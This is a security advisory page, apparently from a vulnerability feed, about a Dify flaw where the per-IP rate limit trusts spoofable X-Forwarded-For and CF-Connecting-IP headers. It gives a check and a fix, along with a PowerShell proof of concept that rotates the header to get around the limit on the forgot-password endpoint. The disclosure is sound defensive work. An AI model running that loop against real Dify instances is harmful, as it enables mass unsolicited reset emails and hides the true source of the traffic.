---
id: "GHSA-6j8g-rp8v-55vr"
page: "https://infrastack.ai/live/GHSA-6j8g-rp8v-55vr"
kind: "vulnerability"
aliases: ["GHSA-6j8g-rp8v-55vr"]
title: "Per-IP Rate Limit Bypass via Spoofable X-Forwarded-For and CF-Connecting-IP Headers"
severity: "medium"
cvss: 6.5
epss: null
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "langgenius/dify", "fixed": ["1.18.0"], "affected": "<= 1.17.1", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ai-tooling", "cwe-348", "dify", "docker", "python", "self-hosted"]
not_affected_if: ["default-config", "managed-hosting"]
published_at: "2026-11-14T18:08:04+00:00"
first_seen_at: "2026-11-14T18:15:21+00:00"
updated_at: "2026-11-14T18:15:31+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/langgenius/dify/security/advisories/GHSA-6j8g-rp8v-55vr", "first_seen_at": "2026-11-14T18:15:21+00:00"}]
exploit_sources: []
---

# Per-IP Rate Limit Bypass via Spoofable X-Forwarded-For and CF-Connecting-IP Headers

Link for people: https://infrastack.ai/live/GHSA-6j8g-rp8v-55vr (this .md is for agents)

Dify takes the client IP from the attacker-controlled CF-Connecting-IP or X-Forwarded-For header and uses it as the rate-limit key. An unauthenticated attacker who rotates these headers gets a fresh bucket per request and can send far more password-reset and similar emails than the per-IP limit allows.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:langgenius/dify affected <= 1.17.1 fixed 1.18.0

## How to check

- Check the Dify version with `docker compose ps` and the image tag in `docker/.env`; versions `1.17.1` and earlier are affected.
- Check whether `api/extensions/ext_proxy_fix.py` contains `ProxyFix(app.wsgi_app, x_port=1)` without `x_for=1`.
- Check whether nginx passes client-supplied `CF-Connecting-IP` through in `docker/nginx/proxy.conf.template`.

## Fix

- Dify: upgrade to `1.18.0`.
- Maintainer's suggested mitigation: add `x_for=1` to ProxyFix and strip `CF-Connecting-IP` in nginx for non-Cloudflare deployments (unverified by InfraStack).

## Timeline

- 2026-11-14T18:15:21+00:00 ghsa-repo https://github.com/langgenius/dify/security/advisories/GHSA-6j8g-rp8v-55vr

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/langgenius/dify/security/advisories/GHSA-6j8g-rp8v-55vr

## From the sources

## Summary
 
`extract_remote_ip()` returns a client-supplied header value as the client IP. Every per-IP rate limiter uses this value as the bucket key. An unauthenticated attacker rotates the header on each request and gets a fresh bucket every time. The per-IP rate limit stops working.
 
## Details
 
### 1. Client controls the IP value
 
`api/libs/helper.py:402-408`:
 
```python
def extract_remote_ip(request):
    if request.headers.get("CF-Connecting-IP"):
        return request.headers.get("CF-Connecting-IP")       # attacker-supplied
    elif request.headers.getlist("X-Forwarded-For"):
        return request.headers.getlist("X-Forwarded-For")[0]  # leftmost = attacker-supplied
    else:
        return request.remote_addr
```
 
The default Docker deployment does not use Cloudflare. nginx does not strip `CF-Connecting-IP`. Any client can set this header.
 
When `CF-Connecting-IP` is absent, the function reads `X-Forwarded-For[0]`. `docker/nginx/proxy.conf.template:4` uses `$proxy_add_x_forwarded_for` which appends the real IP. The attacker-supplied value stays at index 0.
 
`api/extensions/ext_proxy_fix.py` sets `ProxyFix(app.wsgi_app, x_port=1)`. `x_for` is not set. Werkzeug does not sanitise the header.
 
### 2. Rate limiters depend on this value
 
`api/libs/rate_limit.py:61`:
 
```python
return f"ip:{extract_remote_ip(request) or 'unknown'}"
```
 
`api/services/account_service.py:959`:
 
```python
minute_key = f"email_send_ip_limit_minute:{ip_address}"
```
 
Rotating the header rotates the bucket key. The limit never triggers.
 
### 3. Other handlers validate properly
 
Login failure lockout keys by email (`account_service.py:845`). Password-reset verification keys by email (`account_service.py:873`). Email-code login uses a per-token Lua attempt budget (`email_code_login_challenge.py:52`). The per-IP send limit is the only limiter without a non-spoofable fallback.
 
## PoC
 
Tested on Dify 1.17.1, default `docker compose` deployment, no configuration changes.
 
```bash
git clone https://github.com/langgenius/dify.git
cd dify/docker && cp .env.example .env && docker compose up -d
```
 
### Phase A — Fixed IP (rate limit works)
 
70 requests with `X-Forwarded-For: 203.0.113.7`. Each request uses a unique email to isolate the IP limit from the per-email limit.
 
```powershell
$ok=0; $blocked=0
for ($i=1; $i -le 70; $i++) {
  $body = '{"email":"probe' + $i + '@example.com","language":"en-US"}'
  try {
    Invoke-WebRequest -Uri http://localhost/console/api/forgot-password `
      -Method POST -ContentType "application/json" `
      -Headers @{"X-Forwarded-For"="203.0.113.7"} `
      -Body $body -UseBasicParsing | Out-Null
    $ok++
  } catch { $blocked++ }
}
Write-Host "PHASE A: ok=$ok blocked=$blocked"
```
 
Result: `ok=0  blocked=70` — all rejected with HTTP 429.
 
### Phase B — Rotating XFF (rate limit bypassed)
 
70 requests with a random `X-Forwarded-For` per request. Each request uses a unique email.
 
```powershell
$ok=0; $blocked=0
for ($i=1; $i -le 70; $i++) {
  $xff = "10.$(Get-Random -Max 255).$(Get-Random -Max 255).$(Get-Random -Min 1 -Max 254)"
  $body = '{"email":"test' + $i + '@example.com","language":"en-US"}'
  try {
    Invoke-WebRequest -Uri http://localhost/console/api/forgot-password `
      -Method POST -ContentType "application/json" `
      -Headers @{"X-Forwarded-For"=$xff} `
      -Body $body -UseBasicParsing | Out-Null
    $ok++
  } catch { $blocked++ }
}
Write-Host "PHASE B: ok=$ok blocked=$blocked"
```
 
Result: `ok=70  blocked=0` — all passed with HTTP 200.
 
Rotating the header defeated the rate limit completely. No other variable changed between Phase A and Phase B.
 
## Impact
 
An unauthenticated attacker bypasses EMAIL_SEND_IP_LIMIT_PER_MINUTE (default 50) by rotating the header on each request. This allows sending password-reset emails to 10,000 different addresses in under 5 minutes. Incident response teams cannot trace the real source.
 
Account takeover is not possible through this bypass alone. Password-reset code verification is keyed by email, not by IP.
 
Affected endpoints: `POST /console/api/forgot-password` (tested), `POST /api/forgot-password`, `GET /openapi/oauth/device/lookup`, and all login failure logging.
 
## Recommended fix
 
Add `x_for=1` to `ProxyFix`:
 
```python
# api/extensions/ext_proxy_fix.py
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_port=1)
```
 
Strip `CF-Connecting-IP` in nginx for non-Cloudflare deployments:
 
```nginx
proxy_set_header CF-Connecting-IP "";
proxy_set_header X-Forwarded-For $remote_addr;
```

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
